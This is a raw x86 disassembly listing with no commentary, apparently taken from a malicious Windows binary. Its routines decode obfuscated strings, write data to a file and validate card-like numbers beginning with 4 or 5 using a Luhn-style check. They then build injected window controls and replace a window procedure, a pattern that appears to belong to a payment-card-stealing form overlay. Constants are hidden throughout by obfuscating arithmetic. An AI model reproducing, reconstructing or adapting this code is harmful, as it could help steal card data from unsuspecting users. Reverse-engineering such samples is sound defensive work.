; Attributes: bp-based frame
sub_41DCEB proc near ; CODE XREF: sub_41B354+327p
; sub_41B354+3B2p
var_16C = byte ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 16Ch
push ebx
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000F600h
lea eax, [ebp+var_168]
push eax
call sub_41FC67
push 1001409Bh
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000D020h
push 10014093h
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
add esp, 24h
push 0
push 80h
push 4
push 0
movsx eax, word ptr ds:100130D0h
sub eax, 7
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10012788h
mov edi, eax
push 0
push 0
push [ebp+arg_4]
push edi
call dword ptr ds:10012B9Ch
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_41DD9C: ; CODE XREF: sub_41DCEB+B6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DD9C
mov esi, eax
push 0
lea ebx, [ebp+var_16C]
push ebx
push esi
push [ebp+arg_0]
push edi
call dword ptr ds:10012B8Ch
push edi
call dword ptr ds:10011654h
pop edi
pop esi
pop ebx
leave
retn
sub_41DCEB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp-210h]
push eax
push 1000F0F0h
call sub_42088C
add esp, 8
mov [ebp-208h], eax
test eax, eax
jnz short loc_41DDF6
xor eax, eax
jmp loc_41DF93
; ---------------------------------------------------------------------------
loc_41DDF6: ; CODE XREF: .data:0041DDEDj
mov eax, ds:100130ECh
add eax, ds:100130DCh
sub eax, 3
mov [ebp-204h], eax
loc_41DE0A: ; CODE XREF: .data:0041DF7Fj
mov eax, [ebp-204h]
mov edx, [ebp-208h]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_41DE1C: ; CODE XREF: .data:0041DE21j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DE1C
mov [ebp-20Ch], eax
cmp dword ptr [ebp-20Ch], 0FFh
jnb short loc_41DE60
mov eax, [ebp-204h]
movsx edx, word ptr ds:10013230h
add edx, ds:100131E8h
sub edx, 6
add eax, edx
add eax, [ebp-208h]
push eax
lea eax, [ebp-0FFh]
push eax
call sub_423399
loc_41DE60: ; CODE XREF: .data:0041DE33j
mov eax, ds:100130C8h
mov esi, eax
add esi, ds:100131D4h
sub esi, 2
jmp short loc_41DE97
; ---------------------------------------------------------------------------
loc_41DE72: ; CODE XREF: .data:0041DEA9j
cmp byte ptr [ebp+esi-0FFh], 28h
jnz short loc_41DE84
mov byte ptr [ebp+esi-0FFh], 2Bh
loc_41DE84: ; CODE XREF: .data:0041DE7Aj
cmp byte ptr [ebp+esi-0FFh], 29h
jnz short loc_41DE96
mov byte ptr [ebp+esi-0FFh], 3Dh
loc_41DE96: ; CODE XREF: .data:0041DE8Cj
inc esi
loc_41DE97: ; CODE XREF: .data:0041DE70j
lea ecx, [ebp-0FFh]
or eax, 0FFFFFFFFh
loc_41DEA0: ; CODE XREF: .data:0041DEA5j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DEA0
cmp esi, eax
jb short loc_41DE72
push 0FFh
lea eax, [ebp-1FEh]
push eax
lea eax, [ebp-0FFh]
push eax
call sub_418755
add esp, 0Ch
mov ebx, eax
mov eax, ds:10013158h
mov edi, eax
add edi, ds:1001320Ch
sub edi, 0Fh
jmp short loc_41DF08
; ---------------------------------------------------------------------------
loc_41DEDA: ; CODE XREF: .data:0041DF0Aj
movsx eax, byte ptr [ebp+edi-1FEh]
mov [ebp-218h], eax
mov eax, edi
mul edi
mov [ebp-21Ch], eax
mov eax, [ebp-218h]
mov edx, [ebp-21Ch]
sub eax, edx
mov [ebp+edi-1FEh], al
inc edi
loc_41DF08: ; CODE XREF: .data:0041DED8j
cmp edi, ebx
jb short loc_41DEDA
mov eax, ds:10013110h
add eax, ds:10013094h
sub eax, 0Ah
push eax
push dword ptr [ebp+8]
lea eax, [ebp-1FEh]
push eax
call sub_4188C2
add esp, 0Ch
mov [ebp-214h], eax
mov eax, ds:10013140h
add eax, 0FFF6h
cmp [ebp-214h], eax
jz short loc_41DF56
push dword ptr [ebp-208h]
call dword ptr ds:1000F61Ch
xor eax, eax
inc eax
jmp short loc_41DF93
; ---------------------------------------------------------------------------
loc_41DF56: ; CODE XREF: .data:0041DF43j
mov eax, [ebp-20Ch]
mov edx, ds:10013274h
add edx, ds:100130A8h
sub edx, 2
add eax, edx
add [ebp-204h], eax
mov eax, [ebp-210h]
cmp [ebp-204h], eax
jb loc_41DE0A
push dword ptr [ebp-208h]
call dword ptr ds:1000F61Ch
xor eax, eax
loc_41DF93: ; CODE XREF: .data:0041DDF1j
; .data:0041DF54j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DF98 proc near ; CODE XREF: sub_418999+BA9p
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C6 = byte ptr -2C6h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_23F = byte ptr -23Fh
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_106 = byte ptr -106h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_102 = word ptr -102h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
var_F5 = byte ptr -0F5h
var_F4 = byte ptr -0F4h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 324h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_41EFC7
mov eax, [ebp+arg_0]
mov al, [eax]
cmp al, 34h
jz short loc_41DFBF
cmp al, 35h
jnz loc_41EFC7
loc_41DFBF: ; CODE XREF: sub_41DF98+1Dj
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_41DFC7: ; CODE XREF: sub_41DF98+34j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41DFC7
mov [ebp+var_128], eax
mov edx, ds:100131ACh
add edx, 0Bh
cmp eax, edx
jz short loc_41DFF3
movsx edx, word ptr ds:10013118h
add edx, 10h
cmp eax, edx
jnz loc_41EFC7
loc_41DFF3: ; CODE XREF: sub_41DF98+47j
mov ebx, ds:10013254h
sub ebx, 9
jmp short loc_41E022
; ---------------------------------------------------------------------------
loc_41DFFE: ; CODE XREF: sub_41DF98+94j
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_260]
cmp ds:10010370h[edx], eax
jz loc_41EFC7
inc ebx
loc_41E022: ; CODE XREF: sub_41DF98+64j
mov eax, ds:10013138h
add eax, 64h
cmp ebx, eax
jb short loc_41DFFE
mov eax, ds:10013234h
add eax, 0Fh
cmp [ebp+var_128], eax
jnz loc_41E20D
mov eax, [ebp+arg_0]
mov al, [eax+4]
cmp al, 2Dh
jz short loc_41E054
cmp al, 20h
jnz loc_41EFC7
loc_41E054: ; CODE XREF: sub_41DF98+B2j
mov eax, [ebp+arg_0]
mov al, [eax+9]
cmp al, 2Dh
jz short loc_41E066
cmp al, 20h
jnz loc_41EFC7
loc_41E066: ; CODE XREF: sub_41DF98+C4j
mov eax, [ebp+arg_0]
mov al, [eax+0Eh]
cmp al, 2Dh
jz short loc_41E078
cmp al, 20h
jnz loc_41EFC7
loc_41E078: ; CODE XREF: sub_41DF98+D6j
mov eax, ds:100131ACh
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_104], dl
mov eax, ds:10013270h
mov edx, [ebp+arg_0]
mov dl, [edx+1]
mov byte ptr [ebp+eax+var_102], dl
mov eax, ds:100131D4h
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov [ebp+eax+var_FF], dl
movsx eax, word ptr ds:10013100h
movsx edx, word ptr ds:10013174h
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov [ebp+eax+var_106], dl
mov eax, ds:10013220h
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov [ebp+eax+var_FF], dl
mov eax, ds:1001310Ch
add eax, ds:10013248h
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov [ebp+eax+var_100], dl
movsx eax, word ptr ds:10013208h
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_FE], dl
mov eax, ds:100130F8h
movsx edx, word ptr ds:10013230h
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov [ebp+eax+var_105], dl
mov eax, ds:1001315Ch
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_100], dl
movsx eax, word ptr ds:100130A4h
mov edx, ds:100130ACh
lea eax, [eax+edx+2]
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_FF], dl
mov eax, ds:10013154h
inc eax
add eax, ds:100131A8h
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov [ebp+eax+var_FF], dl
movsx eax, word ptr ds:1001324Ch
mov edx, ds:1001318Ch
lea eax, [eax+edx+2]
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_FF], dl
mov eax, ds:100130DCh
add eax, 6
movsx edx, word ptr ds:100131F0h
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_FF], dl
movsx eax, word ptr ds:10013260h
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_F4], dl
movsx eax, word ptr ds:10013230h
movsx edx, word ptr ds:1001316Ch
lea eax, [eax+edx+7]
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_FF], dl
mov eax, ds:10013094h
add eax, 4
add eax, ds:1001317Ch
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_FF], dl
mov eax, ds:1001319Ch
mov edx, ds:100130D4h
sub edx, 6
mov [ebp+eax+var_F5], dl
jmp short loc_41E21C
; ---------------------------------------------------------------------------
loc_41E20D: ; CODE XREF: sub_41DF98+A4j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_423399
loc_41E21C: ; CODE XREF: sub_41DF98+273j
mov eax, ds:10013158h
mov esi, eax
add esi, ds:1001325Ch
sub esi, 11h
jmp short loc_41E243
; ---------------------------------------------------------------------------
loc_41E22E: ; CODE XREF: sub_41DF98+2B9j
mov al, [ebp+esi+var_FF]
cmp al, 30h
jl short loc_41E23D
cmp al, 39h
jle short loc_41E242
loc_41E23D: ; CODE XREF: sub_41DF98+29Fj
jmp loc_41EFC7
; ---------------------------------------------------------------------------
loc_41E242: ; CODE XREF: sub_41DF98+2A3j
inc esi
loc_41E243: ; CODE XREF: sub_41DF98+294j
mov eax, ds:1001320Ch
inc eax
add eax, ds:10013214h
cmp esi, eax
jb short loc_41E22E
mov eax, ds:10013210h
add eax, ds:100131A8h
sub eax, 3
mov [ebp-108h], eax
mov eax, ds:100131ACh
movsx edx, word ptr ds:10013180h
mov esi, eax
add esi, edx
sub esi, 9
jmp short loc_41E2C7
; ---------------------------------------------------------------------------
loc_41E27C: ; CODE XREF: sub_41DF98+339j
movsx eax, [ebp+esi+var_FF]
sub eax, 30h
movsx edx, word ptr ds:10013100h
movsx ecx, word ptr ds:10013104h
add edx, ecx
sub edx, 9
imul eax, edx
add [ebp-108h], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_41E2BD
movsx eax, word ptr ds:10013250h
add eax, 8
sub [ebp-108h], eax
loc_41E2BD: ; CODE XREF: sub_41DF98+313j
mov eax, ds:100131B8h
sub eax, 3
add esi, eax
loc_41E2C7: ; CODE XREF: sub_41DF98+2E2j
mov eax, ds:10013268h
add eax, 0Ch
cmp esi, eax
jb short loc_41E27C
mov eax, ds:10013120h
mov ebx, eax
add ebx, ds:1001315Ch
sub ebx, 0Dh
jmp short loc_41E303
; ---------------------------------------------------------------------------
loc_41E2E5: ; CODE XREF: sub_41DF98+375j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp-108h], eax
mov eax, ds:10013190h
add eax, ds:1001318Ch
add ebx, eax
loc_41E303: ; CODE XREF: sub_41DF98+34Bj
mov eax, ds:10013094h
add eax, 0Ah
cmp ebx, eax
jb short loc_41E2E5
mov eax, [ebp-108h]
mov ecx, 0Ah
xor edx, edx
div ecx
movsx edi, word ptr ds:100131A4h
add edi, ds:1001311Ch
sub edi, 0Ch
cmp edx, edi
jnz loc_41EFC7
lea eax, [ebp+var_FF]
push eax
call dword ptr ds:10012774h
pop ecx
or eax, eax
jnz loc_41EFC7
mov esi, ds:100131F8h
sub esi, 3
mov eax, ds:100131D0h
mov esi, eax
add esi, ds:10013284h
sub esi, 10h
jmp short loc_41E37F
; ---------------------------------------------------------------------------
loc_41E367: ; CODE XREF: sub_41DF98+3F7j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
cmp dword ptr ds:10010370h[eax], 0
jz short loc_41E391
inc esi
loc_41E37F: ; CODE XREF: sub_41DF98+3CDj
mov eax, ds:10013220h
add eax, 5Eh
add eax, ds:100131D4h
cmp esi, eax
jb short loc_41E367
loc_41E391: ; CODE XREF: sub_41DF98+3E4j
mov eax, ds:100130ACh
add eax, 63h
cmp esi, eax
jz loc_41EFC7
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:10010370h[edx], eax
push 10014081h
call sub_41C914
pop ecx
push 0
push eax
push 0
push [ebp+arg_4]
call dword ptr ds:1001263Ch
mov [ebp+var_134], eax
test eax, eax
jnz short loc_41E3EA
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_41E3EA: ; CODE XREF: sub_41DF98+447j
push 10014074h
call sub_41C914
push eax
push [ebp+var_134]
call sub_41FAF0
mov [ebp+var_12C], eax
push 10014068h
call sub_41C914
push eax
push [ebp+var_12C]
call sub_41FAF0
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_26C], eax
mov ebx, eax
mov ds:10010374h[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_270], eax
push dword ptr ds:10010374h[eax]
call dword ptr ds:1001265Ch
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call dword ptr ds:10012654h
push 0
call dword ptr ds:1000F5E8h
mov [ebp+var_10C], eax
push 1001405Eh
call sub_41C914
add esp, 1Ch
push 0
push [ebp+var_10C]
push 0
push [ebp+var_12C]
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
push edi
mov edi, [ebp+var_114]
sub edi, [ebp+var_11C]
push edi
mov edi, ds:100131F8h
sub edi, 3
push edi
movsx edi, word ptr ds:10013178h
sub edi, 4
push edi
push 50800000h
lea edi, [ebp+var_FF]
push edi
push eax
push 200h
call dword ptr ds:1001164Ch
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_274], eax
mov ebx, eax
mov ds:10010378h[ebx], edi
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
movsx ebx, word ptr ds:10013240h
mov edx, ds:100130F0h
lea ebx, [ebx+edx+0F7h]
sub edi, ebx
mov ebx, ds:10013248h
add ebx, 37h
add ebx, ds:10013200h
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
mov eax, ds:100130B4h
movsx edx, word ptr ds:100131E0h
add eax, edx
sub eax, 0Bh
cmp [ebp+var_124], eax
jge short loc_41E55A
mov eax, ds:10013128h
sub eax, 8
mov [ebp+var_124], eax
loc_41E55A: ; CODE XREF: sub_41DF98+5B2j
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
movsx edx, word ptr ds:100131A4h
movsx ecx, word ptr ds:10013180h
lea edx, [edx+ecx+22h]
sub eax, edx
mov [ebp+var_120], eax
push 10014054h
call sub_41C914
mov [ebp+var_278], eax
push 1001403Bh
call sub_41C914
mov [ebp+var_27C], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_280], eax
mov edi, eax
push dword ptr ds:10010378h[edi]
movsx edi, word ptr ds:10013230h
add edi, 36h
push edi
push [ebp+var_120]
push [ebp+var_124]
movsx edi, word ptr ds:100130BCh
mov ebx, ds:100131CCh
lea edi, [edi+ebx+5]
push edi
push 50800000h
mov edi, [ebp+var_27C]
push edi
mov edi, [ebp+var_278]
push edi
mov edi, ds:100131D4h
add edi, ds:1001321Ch
sub edi, 0Ah
push edi
call dword ptr ds:1001164Ch
mov [ebp+var_138], eax
push 10014031h
call sub_41C914
mov [ebp+var_284], eax
push 1001402Dh
call sub_41C914
mov [ebp+var_288], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_28C], eax
mov edi, eax
push dword ptr ds:10010378h[edi]
movsx edi, word ptr ds:1001324Ch
mov ebx, ds:100131D0h
lea edi, [edi+ebx+0EAh]
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
mov ebx, ds:10013108h
add ebx, 36h
add edi, ebx
mov ebx, ds:100130D4h
movsx edx, word ptr ds:10013178h
add ebx, edx
sub ebx, 9
add edi, ebx
push edi
mov edi, ds:100130ECh
add edi, 10h
push edi
push 50800009h
mov edi, [ebp+var_288]
push edi
mov edi, [ebp+var_284]
push edi
mov edi, ds:10013210h
dec edi
push edi
call dword ptr ds:1001164Ch
mov [ebp+var_13C], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, ds:100130B8h
sub eax, 3
push eax
mov eax, ds:100131ECh
add eax, ds:100131B8h
sub eax, 0Dh
push eax
movsx eax, word ptr ds:1001322Ch
movsx edx, word ptr ds:100131E0h
add eax, edx
sub eax, 0Ah
push eax
push 2BCh
mov eax, ds:1001320Ch
sub eax, 6
push eax
mov eax, ds:100130F0h
dec eax
push eax
mov eax, ds:100130E4h
dec eax
push eax
mov eax, ds:10013204h
add eax, 0Dh
add eax, ds:1001319Ch
push eax
call dword ptr ds:10010250h
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_138]
call dword ptr ds:1000D014h
push 10014023h
call sub_41C914
mov [ebp+var_290], eax
push 1001401Eh
call sub_41C914
add esp, 18h
push 0
push [ebp+var_10C]
push 0
push [ebp+var_13C]
movsx edi, word ptr ds:10013240h
add edi, 0F8h
mov ebx, ds:10013204h
movsx edx, word ptr ds:10013124h
add ebx, edx
sub ebx, 3
sub edi, ebx
push edi
mov edi, [ebp+var_120]
mov ebx, ds:100131CCh
sub ebx, 2
sub edi, ebx
push edi
movsx edi, word ptr ds:1001316Ch
movsx ebx, word ptr ds:10013150h
add edi, ebx
sub edi, 8
push edi
movsx edi, word ptr ds:100131C0h
movsx ebx, word ptr ds:100130C0h
add edi, ebx
sub edi, 5
push edi
push 50000000h
push eax
mov edi, [ebp+var_290]
push edi
mov edi, ds:100130E4h
add edi, ds:10013268h
sub edi, 0Dh
push edi
call dword ptr ds:1001164Ch
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov ebx, eax
mov ds:1001037Ch[ebx], edi
mov eax, ds:100130E4h
cmp [ebp+eax+var_108], 34h
jnz short loc_41E837
push 10014016h
call sub_41C914
pop ecx
push eax
lea edi, [ebp+var_253]
push edi
call sub_423399
jmp short loc_41E84F
; ---------------------------------------------------------------------------
loc_41E837: ; CODE XREF: sub_41DF98+883j
push 10014008h
call sub_41C914
pop ecx
push eax
lea edi, [ebp+var_253]
push edi
call sub_423399
loc_41E84F: ; CODE XREF: sub_41DF98+89Dj
push 10013F96h
call sub_41C914
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_253]
push edi
push eax
lea edi, [ebp+var_23F]
push edi
call dword ptr ds:10012634h
push 10013F8Ch
call sub_41C914
mov [ebp+var_298], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, eax
push dword ptr ds:1001037Ch[edi]
mov edi, ds:10013164h
add edi, 2Ch
push edi
push [ebp+var_120]
mov edi, ds:100131E4h
add edi, 6
push edi
mov edi, ds:10013244h
movsx ebx, word ptr ds:100130B0h
add edi, ebx
dec edi
push edi
push 50000000h
lea edi, [ebp+var_23F]
push edi
mov edi, [ebp+var_298]
push edi
mov edi, ds:10013188h
add edi, ds:10013090h
sub edi, 3
push edi
call dword ptr ds:1001164Ch
mov [ebp+var_258], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, ds:1001319Ch
sub eax, 6
push eax
mov eax, ds:10013158h
sub eax, 9
push eax
movsx eax, word ptr ds:100130D0h
sub eax, 7
push eax
push 190h
movsx eax, word ptr ds:10013208h
add eax, ds:10013120h
sub eax, 0Ah
push eax
mov eax, ds:100131ACh
add eax, ds:1001323Ch
sub eax, 0Ah
push eax
mov eax, ds:100131D0h
add eax, ds:100130ACh
sub eax, 2
push eax
mov eax, ds:10013220h
add eax, 0Ch
push eax
call dword ptr ds:10010250h
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call dword ptr ds:1000D014h
push 10013F80h
call sub_41C914
mov [ebp+var_2A0], eax
push 10013F7Ch
call sub_41C914
mov [ebp+var_2A4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov edi, eax
push dword ptr ds:1001037Ch[edi]
mov edi, ds:10013200h
add edi, 11Fh
add edi, ds:100131ECh
push edi
mov edi, ds:100131B8h
add edi, 2Dh
push edi
mov edi, ds:100130F0h
add edi, 45h
movsx ebx, word ptr ds:10013208h
add edi, ebx
push edi
movsx edi, word ptr ds:10013118h
add edi, ds:10013254h
sub edi, 2
push edi
push 50800003h
mov edi, [ebp+var_2A4]
push edi
mov edi, [ebp+var_2A0]
push edi
mov edi, ds:10013168h
add edi, ds:1001312Ch
sub edi, 8
push edi
call dword ptr ds:1001164Ch
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2AC], eax
mov ebx, eax
mov ds:10010380h[ebx], edi
push 10013F70h
call sub_41C914
mov [ebp+var_2B0], eax
push 10013F6Ch
call sub_41C914
add esp, 28h
mov [ebp+var_2B4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov edi, eax
push dword ptr ds:1001037Ch[edi]
mov edi, ds:100131B0h
add edi, 125h
push edi
mov edi, ds:100131ACh
add edi, 34h
add edi, ds:100131A0h
push edi
mov edi, ds:1001325Ch
add edi, 41h
add edi, ds:100131D4h
push edi
mov edi, ds:10013120h
lea edi, [edi+edi+3Ch]
push edi
push 50800003h
mov edi, [ebp+var_2B4]
push edi
mov edi, [ebp+var_2B0]
push edi
movsx edi, word ptr ds:100130E0h
add edi, ds:10013108h
sub edi, 7
push edi
call dword ptr ds:1001164Ch
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2BC], eax
mov ebx, eax
mov ds:10010384h[ebx], edi
movsx eax, word ptr ds:100130E8h
add eax, ds:100131F8h
sub eax, 3
mov [ebp+var_102], ax
jmp loc_41EBE3
; ---------------------------------------------------------------------------
loc_41EB1D: ; CODE XREF: sub_41DF98+C5Ej
push 10013F64h
call sub_41C914
movzx edi, [ebp+var_102]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call dword ptr ds:10012634h
lea eax, [ebp+var_2C6]
push eax
movsx eax, word ptr ds:10013208h
movsx edx, word ptr ds:10013124h
add eax, edx
sub eax, 0Bh
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
push dword ptr ds:10010380h[eax]
call dword ptr ds:1000D014h
push 10013F5Ah
call sub_41C914
movzx edi, [ebp+var_102]
movsx ebx, word ptr ds:100130E0h
lea edi, [edi+ebx+5]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call dword ptr ds:10012634h
add esp, 20h
lea eax, [ebp+var_2C6]
push eax
movsx eax, word ptr ds:100130A4h
add eax, ds:10013134h
sub eax, 0Eh
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push dword ptr ds:10010384h[eax]
call dword ptr ds:1000D014h
inc [ebp+var_102]
loc_41EBE3: ; CODE XREF: sub_41DF98+B80j
movzx eax, [ebp+var_102]
movsx edx, word ptr ds:10013208h
add edx, 8
cmp eax, edx
jl loc_41EB1D
push 10013F52h
call sub_41C914
mov [ebp+var_2C0], eax
push 10013F4Eh
call sub_41C914
mov [ebp+var_2C4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp-2C8h], eax
mov edi, eax
push dword ptr ds:1001037Ch[edi]
mov edi, ds:10013204h
add edi, 17h
push edi
movsx edi, word ptr ds:100130BCh
mov ebx, ds:100131D8h
lea edi, [edi+ebx+43h]
push edi
mov edi, ds:100131ECh
add edi, 74h
push edi
mov edi, ds:100131F4h
add edi, 2Bh
push edi
push 50800000h
mov edi, [ebp+var_2C4]
push edi
mov edi, [ebp+var_2C0]
push edi
push 200h
call dword ptr ds:1001164Ch
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov ebx, eax
mov ds:10010388h[ebx], edi
mov eax, ds:100131D4h
sub eax, 2
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push dword ptr ds:10010388h[eax]
call dword ptr ds:1000D014h
push 10013F44h
call sub_41C914
mov [ebp+var_2D4], eax
push 10013F22h
call sub_41C914
mov [ebp+var_2D8], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov edi, eax
push dword ptr ds:1001037Ch[edi]
movsx edi, word ptr ds:1001327Ch
add edi, 3Ch
push edi
push [ebp+var_120]
movsx edi, word ptr ds:10013100h
add edi, 4Ch
push edi
movsx edi, word ptr ds:100130C0h
add edi, 94h
push edi
push 50000000h
mov edi, [ebp+var_2D8]
push edi
mov edi, [ebp+var_2D4]
push edi
movsx edi, word ptr ds:100131E0h
movsx ebx, word ptr ds:10013174h
add edi, ebx
sub edi, 0Ah
push edi
call dword ptr ds:1001164Ch
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call dword ptr ds:1000D014h
push 10013F18h
call sub_41C914
mov [ebp+var_2E0], eax
push 10013EFEh
call sub_41C914
add esp, 18h
mov [ebp+var_2E4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov edi, eax
push dword ptr ds:1001037Ch[edi]
movsx edi, word ptr ds:10013150h
mov ebx, ds:10013288h
lea edi, [edi+ebx+9]
push edi
mov edi, ds:100131E4h
add edi, 97h
push edi
mov edi, ds:100131B0h
add edi, 0F1h
add edi, ds:10013278h
mov ebx, ds:10013198h
add ebx, 1Eh
movsx edx, word ptr ds:100131E0h
add ebx, edx
sub edi, ebx
push edi
movsx edi, word ptr ds:100130D0h
add edi, 3
push edi
push 50800000h
mov edi, [ebp+var_2E4]
push edi
mov edi, [ebp+var_2E0]
push edi
mov edi, ds:1001317Ch
sub edi, 5
push edi
call dword ptr ds:1001164Ch
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2EC], eax
mov ebx, eax
mov ds:1001038Ch[ebx], edi
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2F0], eax
push dword ptr ds:1001038Ch[eax]
call dword ptr ds:1000D014h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
